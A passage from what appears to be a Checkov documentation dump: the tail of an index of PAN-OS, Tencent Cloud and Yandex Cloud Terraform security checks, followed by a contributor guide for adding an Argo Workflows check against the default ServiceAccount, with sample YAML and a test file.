'any'                                                                                                                                            | Terraform | [PolicyNoApplicationAny.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/panos/PolicyNoApplicationAny.py)                                                                                 |\n| 4555 | CKV_PAN_6       | resource | panos_security_policy                                            | Ensure security rules do not have 'services' set to 'any'                                                                                                                                                | Terraform | [PolicyNoServiceAny.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/panos/PolicyNoServiceAny.py)                                                                                         |\n| 4556 | CKV_PAN_6       | resource | panos_security_rule_group                                        | Ensure security rules do not have 'services' set to 'any'                                                                                                                                                | Terraform | [PolicyNoServiceAny.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/panos/PolicyNoServiceAny.py)                                                                                         |\n| 4557 | CKV_PAN_7       | resource | panos_security_policy                                            | Ensure security rules do not have 'source_addresses' and 'destination_addresses' both containing values of 'any'                                                                                         | Terraform | [PolicyNoSrcAnyDstAny.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/panos/PolicyNoSrcAnyDstAny.py)                                                                                     |\n| 4558 | CKV_PAN_7       | resource | panos_security_rule_group                                        | Ensure security rules do not have 'source_addresses' and 'destination_addresses' both containing values of 'any'                                                                                         | Terraform | [PolicyNoSrcAnyDstAny.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/panos/PolicyNoSrcAnyDstAny.py)                                                                                     |\n| 4559 | CKV_PAN_8       | resource | panos_security_policy                                            | Ensure description is populated within security policies                                                                                                                                                 | Terraform | [PolicyDescription.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/panos/PolicyDescription.py)                                                                                           |\n| 4560 | CKV_PAN_8       | resource | panos_security_rule_group                                        | Ensure description is populated within security policies                                                                                                                                                 | Terraform | [PolicyDescription.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/panos/PolicyDescription.py)                                                                                           |\n| 4561 | CKV_PAN_9       | resource | panos_security_policy                                            | Ensure a Log Forwarding Profile is selected for each security policy rule                                                                                                                                | Terraform | [PolicyLogForwarding.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/panos/PolicyLogForwarding.py)                                                                                       |\n| 4562 | CKV_PAN_9       | resource | panos_security_rule_group                                        | Ensure a Log Forwarding Profile is selected for each security policy rule                                                                                                                                | Terraform | [PolicyLogForwarding.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/panos/PolicyLogForwarding.py)                                                                                       |\n| 4563 | CKV_PAN_10      | resource | panos_security_policy                                            | Ensure logging at session end is enabled within security policies                                                                                                                                        | Terraform | [PolicyLoggingEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/panos/PolicyLoggingEnabled.py)                                                                                     |\n| 4564 | CKV_PAN_10      | resource | panos_security_rule_group                                        | Ensure logging at session end is enabled within security policies                                                                                                                                        | Terraform | [PolicyLoggingEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/panos/PolicyLoggingEnabled.py)                                                                                     |\n| 4565 | CKV_PAN_11      | resource | panos_ipsec_crypto_profile                                       | Ensure IPsec profiles do not specify use of insecure encryption algorithms                                                                                                                               | Terraform | [NetworkIPsecAlgorithms.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/panos/NetworkIPsecAlgorithms.py)                                                                                 |\n| 4566 | CKV_PAN_11      | resource | panos_panorama_ipsec_crypto_profile                              | Ensure IPsec profiles do not specify use of insecure encryption algorithms                                                                                                                               | Terraform | [NetworkIPsecAlgorithms.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/panos/NetworkIPsecAlgorithms.py)                                                                                 |\n| 4567 | CKV_PAN_12      | resource | panos_ipsec_crypto_profile                                       | Ensure IPsec profiles do not specify use of insecure authentication algorithms                                                                                                                           | Terraform | [NetworkIPsecAuthAlgorithms.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/panos/NetworkIPsecAuthAlgorithms.py)                                                                         |\n| 4568 | CKV_PAN_12      | resource | panos_panorama_ipsec_crypto_profile                              | Ensure IPsec profiles do not specify use of insecure authentication algorithms                                                                                                                           | Terraform | [NetworkIPsecAuthAlgorithms.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/panos/NetworkIPsecAuthAlgorithms.py)                                                                         |\n| 4569 | CKV_PAN_13      | resource | panos_ipsec_crypto_profile                                       | Ensure IPsec profiles do not specify use of insecure protocols                                                                                                                                           | Terraform | [NetworkIPsecProtocols.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/panos/NetworkIPsecProtocols.py)                                                                                   |\n| 4570 | CKV_PAN_13      | resource | panos_panorama_ipsec_crypto_profile                              | Ensure IPsec profiles do not specify use of insecure protocols                                                                                                                                           | Terraform | [NetworkIPsecProtocols.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/panos/NetworkIPsecProtocols.py)                                                                                   |\n| 4571 | CKV_PAN_14      | resource | panos_panorama_zone                                              | Ensure a Zone Protection Profile is defined within Security Zones                                                                                                                                        | Terraform | [ZoneProtectionProfile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/panos/ZoneProtectionProfile.py)                                                                                   |\n| 4572 | CKV_PAN_14      | resource | panos_zone                                                       | Ensure a Zone Protection Profile is defined within Security Zones                                                                                                                                        | Terraform | [ZoneProtectionProfile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/panos/ZoneProtectionProfile.py)                                                                                   |\n| 4573 | CKV_PAN_14      | resource | panos_zone_entry                                                 | Ensure a Zone Protection Profile is defined within Security Zones                                                                                                                                        | Terraform | [ZoneProtectionProfile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/panos/ZoneProtectionProfile.py)                                                                                   |\n| 4574 | CKV_PAN_15      | resource | panos_panorama_zone                                              | Ensure an Include ACL is defined for a Zone when User-ID is enabled                                                                                                                                      | Terraform | [ZoneUserIDIncludeACL.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/panos/ZoneUserIDIncludeACL.py)                                                                                     |\n| 4575 | CKV_PAN_15      | resource | panos_zone                                                       | Ensure an Include ACL is defined for a Zone when User-ID is enabled                                                                                                                                      | Terraform | [ZoneUserIDIncludeACL.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/panos/ZoneUserIDIncludeACL.py)                                                                                     |\n| 4576 | CKV_TC_1        | resource | tencentcloud_cbs_storage                                         | Ensure Tencent Cloud CBS is encrypted                                                                                                                                                                    | Terraform | [CBSEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/tencentcloud/CBSEncryption.py)                                                                                            |\n| 4577 | CKV_TC_2        | resource | tencentcloud_instance                                            | Ensure Tencent Cloud CVM instance does not allocate a public IP                                                                                                                                          | Terraform | [CVMAllocatePublicIp.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/tencentcloud/CVMAllocatePublicIp.py)                                                                                |\n| 4578 | CKV_TC_3        | resource | tencentcloud_instance                                            | Ensure Tencent Cloud CVM monitor service is enabled                                                                                                                                                      | Terraform | [CVMDisableMonitorService.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/tencentcloud/CVMDisableMonitorService.py)                                                                      |\n| 4579 | CKV_TC_4        | resource | tencentcloud_instance                                            | Ensure Tencent Cloud CVM instances do not use the default security group                                                                                                                                 | Terraform | [CVMUseDefaultSecurityGroup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/tencentcloud/CVMUseDefaultSecurityGroup.py)                                                                  |\n| 4580 | CKV_TC_5        | resource | tencentcloud_instance                                            | Ensure Tencent Cloud CVM instances do not use the default VPC                                                                                                                                            | Terraform | [CVMUseDefaultVPC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/tencentcloud/CVMUseDefaultVPC.py)                                                                                      |\n| 4581 | CKV_TC_6        | resource | tencentcloud_kubernetes_cluster                                  | Ensure Tencent Cloud TKE clusters enable log agent                                                                                                                                                       | Terraform | [TKELogAgentEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/tencentcloud/TKELogAgentEnabled.py)                                                                                  |\n| 4582 | CKV_TC_7        | resource | tencentcloud_kubernetes_cluster                                  | Ensure Tencent Cloud TKE cluster is not assigned a public IP address                                                                                                                                     | Terraform | [TKEPublicIpAssigned.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/tencentcloud/TKEPublicIpAssigned.py)                                                                                |\n| 4583 | CKV_TC_8        | resource | tencentcloud_security_group_rule_set                             | Ensure Tencent Cloud VPC security group rules do not accept all traffic                                                                                                                                  | Terraform | [VPCSecurityGroupRuleSet.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/tencentcloud/VPCSecurityGroupRuleSet.py)                                                                        |\n| 4584 | CKV_TC_9        | resource | tencentcloud_mysql_instance                                      | Ensure Tencent Cloud mysql instances do not enable access from public networks                                                                                                                           | Terraform | [CDBInternetService.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/tencentcloud/CDBInternetService.py)                                                                                  |\n| 4585 | CKV_TC_10       | resource | tencentcloud_mysql_instance                                      | Ensure Tencent Cloud MySQL instances intranet ports are not set to the default 3306                                                                                                                      | Terraform | [CDBIntranetPort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/tencentcloud/CDBIntranetPort.py)                                                                                        |\n| 4586 | CKV_TC_11       | resource | tencentcloud_clb_instance                                        | Ensure Tencent Cloud CLB has a logging ID and topic                                                                                                                                                      | Terraform | [CLBInstanceLog.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/tencentcloud/CLBInstanceLog.py)                                                                                          |\n| 4587 | CKV_TC_12       | resource | tencentcloud_clb_listener                                        | Ensure Tencent Cloud CLBs use modern, encrypted protocols                                                                                                                                                | Terraform | [CLBListenerProtocol.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/tencentcloud/CLBListenerProtocol.py)                                                                                |\n| 4588 | CKV_TC_13       | resource | tencentcloud_instance                                            | Ensure Tencent Cloud CVM user data does not contain sensitive information                                                                                                                                | Terraform | [CVMUserData.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/tencentcloud/CVMUserData.py)                                                                                                |\n| 4589 | CKV_TC_14       | resource | tencentcloud_vpc_flow_log_config                                 | Ensure Tencent Cloud VPC flow logs are enabled                                                                                                                                                           | Terraform | [VPCFlowLogConfigEnable.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/tencentcloud/VPCFlowLogConfigEnable.py)                                                                          |\n| 4590 | CKV_TF_1        | module   | module                                                           | Ensure Terraform module sources use a commit hash                                                                                                                                                        | Terraform | [RevisionHash.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/module/generic/RevisionHash.py)                                                                                                     |\n| 4591 | CKV_TF_2        | module   | module                                                           | Ensure Terraform module sources use a tag with a version number                                                                                                                                          | Terraform | [RevisionVersionTag.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/module/generic/RevisionVersionTag.py)                                                                                         |\n| 4592 | CKV_YC_1        | resource | yandex_mdb_clickhouse_cluster                                    | Ensure security group is assigned to database cluster.                                                                                                                                                   | Terraform | [MDBSecurityGroup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/MDBSecurityGroup.py)                                                                                       |\n| 4593 | CKV_YC_1        | resource | yandex_mdb_elasticsearch_cluster                                 | Ensure security group is assigned to database cluster.                                                                                                                                                   | Terraform | [MDBSecurityGroup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/MDBSecurityGroup.py)                                                                                       |\n| 4594 | CKV_YC_1        | resource | yandex_mdb_greenplum_cluster                                     | Ensure security group is assigned to database cluster.                                                                                                                                                   | Terraform | [MDBSecurityGroup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/MDBSecurityGroup.py)                                                                                       |\n| 4595 | CKV_YC_1        | resource | yandex_mdb_kafka_cluster                                         | Ensure security group is assigned to database cluster.                                                                                                                                                   | Terraform | [MDBSecurityGroup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/MDBSecurityGroup.py)                                                                                       |\n| 4596 | CKV_YC_1        | resource | yandex_mdb_mongodb_cluster                                       | Ensure security group is assigned to database cluster.                                                                                                                                                   | Terraform | [MDBSecurityGroup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/MDBSecurityGroup.py)                                                                                       |\n| 4597 | CKV_YC_1        | resource | yandex_mdb_mysql_cluster                                         | Ensure security group is assigned to database cluster.                                                                                                                                                   | Terraform | [MDBSecurityGroup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/MDBSecurityGroup.py)                                                                                       |\n| 4598 | CKV_YC_1        | resource | yandex_mdb_postgresql_cluster                                    | Ensure security group is assigned to database cluster.                                                                                                                                                   | Terraform | [MDBSecurityGroup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/MDBSecurityGroup.py)                                                                                       |\n| 4599 | CKV_YC_1        | resource | yandex_mdb_redis_cluster                                         | Ensure security group is assigned to database cluster.                                                                                                                                                   | Terraform | [MDBSecurityGroup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/MDBSecurityGroup.py)                                                                                       |\n| 4600 | CKV_YC_1        | resource | yandex_mdb_sqlserver_cluster                                     | Ensure security group is assigned to database cluster.                                                                                                                                                   | Terraform | [MDBSecurityGroup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/MDBSecurityGroup.py)                                                                                       |\n| 4601 | CKV_YC_2        | resource | yandex_compute_instance                                          | Ensure compute instance does not have public IP.                                                                                                                                                         | Terraform | [ComputeVMPublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/ComputeVMPublicIP.py)                                                                                     |\n| 4602 | CKV_YC_3        | resource | yandex_storage_bucket                                            | Ensure storage bucket is encrypted.                                                                                                                                                                      | Terraform | [ObjectStorageBucketEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/ObjectStorageBucketEncryption.py)                                                             |\n| 4603 | CKV_YC_4        | resource | yandex_compute_instance                                          | Ensure compute instance does not have serial console enabled.                                                                                                                                            | Terraform | [ComputeVMSerialConsole.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/ComputeVMSerialConsole.py)                                                                           |\n| 4604 | CKV_YC_5        | resource | yandex_kubernetes_cluster                                        | Ensure Kubernetes cluster does not have public IP address.                                                                                                                                               | Terraform | [K8SPublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/K8SPublicIP.py)                                                                                                 |\n| 4605 | CKV_YC_6        | resource | yandex_kubernetes_node_group                                     | Ensure Kubernetes cluster node group does not have public IP addresses.                                                                                                                                  | Terraform | [K8SNodeGroupPublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/K8SNodeGroupPublicIP.py)                                                                               |\n| 4606 | CKV_YC_7        | resource | yandex_kubernetes_cluster                                        | Ensure Kubernetes cluster auto-upgrade is enabled.                                                                                                                                                       | Terraform | [K8SAutoUpgrade.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/K8SAutoUpgrade.py)                                                                                           |\n| 4607 | CKV_YC_8        | resource | yandex_kubernetes_node_group                                     | Ensure Kubernetes node group auto-upgrade is enabled.                                                                                                                                                    | Terraform | [K8SNodeGroupAutoUpgrade.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/K8SNodeGroupAutoUpgrade.py)                                                                         |\n| 4608 | CKV_YC_9        | resource | yandex_kms_symmetric_key                                         | Ensure KMS symmetric key is rotated.                                                                                                                                                                     | Terraform | [KMSSymmetricKeyRotation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/KMSSymmetricKeyRotation.py)                                                                         |\n| 4609 | CKV_YC_10       | resource | yandex_kubernetes_cluster                                        | Ensure etcd database is encrypted with KMS key.                                                                                                                                                          | Terraform | [K8SEtcdKMSEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/K8SEtcdKMSEncryption.py)                                                                               |\n| 4610 | CKV_YC_11       | resource | yandex_compute_instance                                          | Ensure security group is assigned to network interface.                                                                                                                                                  | Terraform | [ComputeVMSecurityGroup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/ComputeVMSecurityGroup.py)                                                                           |\n| 4611 | CKV_YC_12       | resource | yandex_mdb_clickhouse_cluster                                    | Ensure public IP is not assigned to database cluster.                                                                                                                                                    | Terraform | [MDBPublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/MDBPublicIP.py)                                                                                                 |\n| 4612 | CKV_YC_12       | resource | yandex_mdb_elasticsearch_cluster                                 | Ensure public IP is not assigned to database cluster.                                                                                                                                                    | Terraform | [MDBPublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/MDBPublicIP.py)                                                                                                 |\n| 4613 | CKV_YC_12       | resource | yandex_mdb_greenplum_cluster                                     | Ensure public IP is not assigned to database cluster.                                                                                                                                                    | Terraform | [MDBPublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/MDBPublicIP.py)                                                                                                 |\n| 4614 | CKV_YC_12       | resource | yandex_mdb_kafka_cluster                                         | Ensure public IP is not assigned to database cluster.                                                                                                                                                    | Terraform | [MDBPublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/MDBPublicIP.py)                                                                                                 |\n| 4615 | CKV_YC_12       | resource | yandex_mdb_mongodb_cluster                                       | Ensure public IP is not assigned to database cluster.                                                                                                                                                    | Terraform | [MDBPublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/MDBPublicIP.py)                                                                                                 |\n| 4616 | CKV_YC_12       | resource | yandex_mdb_mysql_cluster                                         | Ensure public IP is not assigned to database cluster.                                                                                                                                                    | Terraform | [MDBPublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/MDBPublicIP.py)                                                                                                 |\n| 4617 | CKV_YC_12       | resource | yandex_mdb_postgresql_cluster                                    | Ensure public IP is not assigned to database cluster.                                                                                                                                                    | Terraform | [MDBPublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/MDBPublicIP.py)                                                                                                 |\n| 4618 | CKV_YC_12       | resource | yandex_mdb_sqlserver_cluster                                     | Ensure public IP is not assigned to database cluster.                                                                                                                                                    | Terraform | [MDBPublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/MDBPublicIP.py)                                                                                                 |\n| 4619 | CKV_YC_13       | resource | yandex_resourcemanager_cloud_iam_binding                         | Ensure cloud member does not have elevated access.                                                                                                                                                       | Terraform | [IAMCloudElevatedMembers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/IAMCloudElevatedMembers.py)                                                                         |\n| 4620 | CKV_YC_13       | resource | yandex_resourcemanager_cloud_iam_member                          | Ensure cloud member does not have elevated access.                                                                                                                                                       | Terraform | [IAMCloudElevatedMembers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/IAMCloudElevatedMembers.py)                                                                         |\n| 4621 | CKV_YC_14       | resource | yandex_kubernetes_cluster                                        | Ensure security group is assigned to Kubernetes cluster.                                                                                                                                                 | Terraform | [K8SSecurityGroup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/K8SSecurityGroup.py)                                                                                       |\n| 4622 | CKV_YC_15       | resource | yandex_kubernetes_node_group                                     | Ensure security group is assigned to Kubernetes node group.                                                                                                                                              | Terraform | [K8SNodeGroupSecurityGroup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/K8SNodeGroupSecurityGroup.py)                                                                     |\n| 4623 | CKV_YC_16       | resource | yandex_kubernetes_cluster                                        | Ensure network policy is assigned to Kubernetes cluster.                                                                                                                                                 | Terraform | [K8SNetworkPolicy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/K8SNetworkPolicy.py)                                                                                       |\n| 4624 | CKV_YC_17       | resource | yandex_storage_bucket                                            | Ensure storage bucket does not have public access permissions.                                                                                                                                           | Terraform | [ObjectStorageBucketPublicAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/ObjectStorageBucketPublicAccess.py)                                                         |\n| 4625 | CKV_YC_18       | resource | yandex_compute_instance_group                                    | Ensure compute instance group does not have public IP.                                                                                                                                                   | Terraform | [ComputeInstanceGroupPublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/ComputeInstanceGroupPublicIP.py)                                                               |\n| 4626 | CKV_YC_19       | resource | yandex_vpc_security_group                                        | Ensure security group does not contain allow-all rules.                                                                                                                                                  | Terraform | [VPCSecurityGroupAllowAll.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/VPCSecurityGroupAllowAll.py)                                                                       |\n| 4627 | CKV_YC_20       | resource | yandex_vpc_security_group_rule                                   | Ensure security group rule is not allow-all.                                                                                                                                                             | Terraform | [VPCSecurityGroupRuleAllowAll.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/VPCSecurityGroupRuleAllowAll.py)                                                               |\n| 4628 | CKV_YC_21       | resource | yandex_organizationmanager_organization_iam_binding              | Ensure organization member does not have elevated access.                                                                                                                                                | Terraform | [IAMOrganizationElevatedMembers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/IAMOrganizationElevatedMembers.py)                                                           |\n| 4629 | CKV_YC_21       | resource | yandex_organizationmanager_organization_iam_member               | Ensure organization member does not have elevated access.                                                                                                                                                | Terraform | [IAMOrganizationElevatedMembers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/IAMOrganizationElevatedMembers.py)                                                           |\n| 4630 | CKV_YC_22       | resource | yandex_compute_instance_group                                    | Ensure compute instance group has security group assigned.                                                                                                                                               | Terraform | [ComputeInstanceGroupSecurityGroup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/ComputeInstanceGroupSecurityGroup.py)                                                     |\n| 4631 | CKV_YC_23       | resource | yandex_resourcemanager_folder_iam_binding                        | Ensure folder member does not have elevated access.                                                                                                                                                      | Terraform | [IAMFolderElevatedMembers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/IAMFolderElevatedMembers.py)                                                                       |\n| 4632 | CKV_YC_23       | resource | yandex_resourcemanager_folder_iam_member                         | Ensure folder member does not have elevated access.                                                                                                                                                      | Terraform | [IAMFolderElevatedMembers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/IAMFolderElevatedMembers.py)                                                                       |\n| 4633 | CKV_YC_24       | resource | yandex_organizationmanager_organization_iam_binding              | Ensure passport account is not used for assignment. Use service accounts and federated accounts where possible.                                                                                          | Terraform | [IAMPassportAccountUsage.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/IAMPassportAccountUsage.py)                                                                         |\n| 4634 | CKV_YC_24       | resource | yandex_organizationmanager_organization_iam_member               | Ensure passport account is not used for assignment. Use service accounts and federated accounts where possible.                                                                                          | Terraform | [IAMPassportAccountUsage.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/IAMPassportAccountUsage.py)                                                                         |\n| 4635 | CKV_YC_24       | resource | yandex_resourcemanager_cloud_iam_binding                         | Ensure passport account is not used for assignment. Use service accounts and federated accounts where possible.                                                                                          | Terraform | [IAMPassportAccountUsage.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/IAMPassportAccountUsage.py)                                                                         |\n| 4636 | CKV_YC_24       | resource | yandex_resourcemanager_cloud_iam_member                          | Ensure passport account is not used for assignment. Use service accounts and federated accounts where possible.                                                                                          | Terraform | [IAMPassportAccountUsage.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/IAMPassportAccountUsage.py)                                                                         |\n| 4637 | CKV_YC_24       | resource | yandex_resourcemanager_folder_iam_binding                        | Ensure passport account is not used for assignment. Use service accounts and federated accounts where possible.                                                                                          | Terraform | [IAMPassportAccountUsage.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/IAMPassportAccountUsage.py)                                                                         |\n| 4638 | CKV_YC_24       | resource | yandex_resourcemanager_folder_iam_member                         | Ensure passport account is not used for assignment. Use service accounts and federated accounts where possible.                                                                                          | Terraform | [IAMPassportAccountUsage.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/IAMPassportAccountUsage.py)                                                                         |\n\n\n---\n\n\n"
  },
  {
    "path": "docs/6.Contribution/Contribute New Argo Workflows Policies.md",
    "content": "---\nlayout: default\npublished: true\ntitle: Contribute New Argo Workflows configuration policy\nnav_order: 5\n---\n\n# Contribute New Argo Workflows configuration policy\n\nIn this example, we'll add support for a new Argo Workflows configuration check to validate the usage of a user defined ServiceAccount.\n\n## Add a Check\n\nGo to `checkov/argo_workflows/checks/template` and add `DefaultServiceAccount.py`:\n\n```python\nfrom __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.argo_workflows.checks.base_argo_workflows_check import BaseArgoWorkflowsCheck\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.yaml_doc.enums import BlockType\n\n\nclass DefaultServiceAccount(BaseArgoWorkflowsCheck):\n    def __init__(self) -> None:\n        name = \"Ensure Workflow pods are not using the default ServiceAccount\"\n        id = \"CKV_ARGO_1\"\n        super().__init__(\n            name=name,\n            id=id,\n            categories=(CheckCategories.IAM,),\n            supported_entities=(\"spec\",),\n            block_type=BlockType.OBJECT,\n        )\n\n    def scan_conf(self, conf: dict[str, Any]) -> tuple[CheckResult, dict[str, Any]]:\n        if \"serviceAccountName\" in conf.keys() and conf[\"serviceAccountName\"] != \"default\":\n            return CheckResult.PASSED, conf\n\n        return CheckResult.FAILED, conf\n\n\ncheck = DefaultServiceAccount()\n```\n\n### Adding a Test\n\nCreate a new folder under `tests/argo_workflows/checks/template` with the name of your check `example_DefaultServiceAccount` for adding example configuration files.\nTry to add at least 2 test cases, one passing and one failing. \n\n`pass.yaml`:\n```yaml\napiVersion: argoproj.io/v1alpha1\nkind: Workflow\nmetadata:\n  generateName: hello-world-\nspec:\n  serviceAccountName: custom-sa\n  entrypoint: whalesay\n  templates:\n  - name: whalesay\n    container:\n      image: docker/whalesay:latest\n      command: [cowsay]\n      args: [\"hello world\"]\n```\n\nLastly add the test file `test_DefaultServiceAccount.py` to scan the example files.\n\n```python\nfrom pathlib import Path\n\nfrom checkov.argo_workflows.runner import Runner\nfrom checkov.argo_workflows.checks.template.DefaultServiceAccount import check\nfrom checkov.runner_filter import RunnerFilter\n\n\ndef test_examples():\n    # given\n    test_files_dir = Path(__file__).parent / \"example_DefaultServiceAccount\"\n\n    # when\n    report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n    # then\n    summary = report.get_summary()\n\n    passing_resources = {\n        f\"{test_files_dir}/pass.yaml.spec.spec.CKV_ARGO_1[6:14]\",\n    }\n\n    failing_resources = {\n        f\"{test_files_dir}/fail_default.yaml.spec.spec.CKV_ARGO_1[6:14]\",\n        f\"{test_files_dir}/fail_none.yaml.spec.spec.CKV_ARGO_1[6:13]\",\n    }\n\n    passed_check_resources = {c.resource for c in report.passed_checks}\n    failed_check_resources = {c.resource for c in report.failed_checks}\n\n    assert summary[\"passed\"] == len(passing_resources)\n    assert summary[\"failed\"] == len(failing_resources)\n    assert summary[\"skipped\"] == 0\n    assert summary[\"parsing_errors\"] == 0\n\n    assert passed_check_resources == passing_resources\n    assert failed_check_resources == failing_resources\n```\n\nSo there you have it! A new check will be scanned once your contribution is merged!\n"
  },
  {
    "path": "docs/6.Contribution/Contribute New Azure Pipelines Policies.md",
